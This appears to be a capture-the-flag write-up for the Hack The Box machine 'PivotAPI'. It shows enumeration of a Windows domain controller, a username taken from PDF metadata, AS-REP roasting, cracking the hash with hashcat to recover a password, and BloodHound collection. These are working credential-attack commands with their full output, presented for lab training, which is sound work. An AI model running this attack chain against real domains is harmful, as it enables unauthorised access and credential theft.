[HTB] Machine: PivotAPI
PivotAPI
Enumeration
└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49708/tcp open unknown
52843/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds
└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
| 02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20 01:18PM 219091 notes1.pdf
| 08-08-20 01:34PM 279445 notes2.pdf
| 08-08-20 01:41PM 105 README.txt
|_02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
| 256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_ 256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp filtered ldap
445/tcp open microsoft-ds?
464/tcp filtered kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.10.240:1433:
| Target_Name: LICORDEBELLOTA
| NetBIOS_Domain_Name: LICORDEBELLOTA
| NetBIOS_Computer_Name: PIVOTAPI
| DNS_Domain_Name: LicorDeBellota.htb
| DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
| DNS_Tree_Name: LicorDeBellota.htb
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.10.240:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after: 2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-10-05T19:12:54
|_ start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds
└─$ smbclient -N -L //10.10.10.240
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.
└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
- Running
exiftool on pdf files shows LicorDeBellota.htb\kaorz
======== notes2.pdf
ExifTool Version Number : 12.67
File Name : notes2.pdf
Directory : .
File Size : 279 kB
File Modification Date/Time : 2020:08:08 12:34:25+01:00
File Access Date/Time : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time : 2023:10:06 19:12:03+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 5
XMP Toolkit : Image::ExifTool 12.03
Creator : Kaorz
Publisher : LicorDeBellota.htb
Producer : cairo 1.10.2 (http://cairographics.org)
- Let’s check if user is
AS-REP-roastable
└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155
- The creds didn’t work for
ssh
└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.
└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240
Impacket v0.11.0 - Copyright 2023 Fortra
No entries found!
└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.
User
└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip
